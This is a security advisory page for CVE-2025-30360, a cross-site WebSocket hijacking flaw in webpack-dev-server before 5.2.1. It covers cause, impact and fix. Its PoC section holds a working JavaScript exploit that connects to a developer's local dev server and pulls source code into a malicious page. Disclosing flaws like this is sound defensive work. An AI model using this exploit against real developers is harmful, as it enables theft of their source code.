CVE-2025-30360: webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Published Jun 3, 2025
·
Updated

Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit src/index.js in the extracted directory 6. You can see the content of src/index.js

!image

The script in the POC site is: js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } }

let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = ${wsProtocol}://${target.hostname}:${wsPort}/ws; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = ${target}${file}.${currentHash2}.hot-update.js; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } }

Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Other sources

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The Origin header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

— MITRE

Affected Software

3 affected componentsFixes available
webpack webpack-dev-server<5.2.1
npm/webpack-dev-server<=5.2.0
5.2.1
webpack.js webpack-dev-server<5.2.1

Event History

Jun 3, 2025
CVE Published
via MITRE·05:41 PM
Data Sourced
via MITRE·05:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
RemedyAffected Software
Jun 4, 2025
Advisory Published
via GitHub·09:09 PM
Data Sourced
via GitHub·09:09 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-30360?

CVE-2025-30360 is classified as a medium severity vulnerability affecting webpack-dev-server versions prior to 5.2.1.

2

How do I fix CVE-2025-30360?

To fix CVE-2025-30360, update webpack-dev-server to version 5.2.1 or later.

3

What type of vulnerability is CVE-2025-30360?

CVE-2025-30360 is a security vulnerability that allows for potential source code theft when accessing malicious websites through non-Chromium based browsers.

4

Who is affected by CVE-2025-30360?

Users of webpack-dev-server prior to version 5.2.1 are affected by CVE-2025-30360.

5

What can be exploited in CVE-2025-30360?

CVE-2025-30360 can be exploited to steal users' source code when visiting a malicious website.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203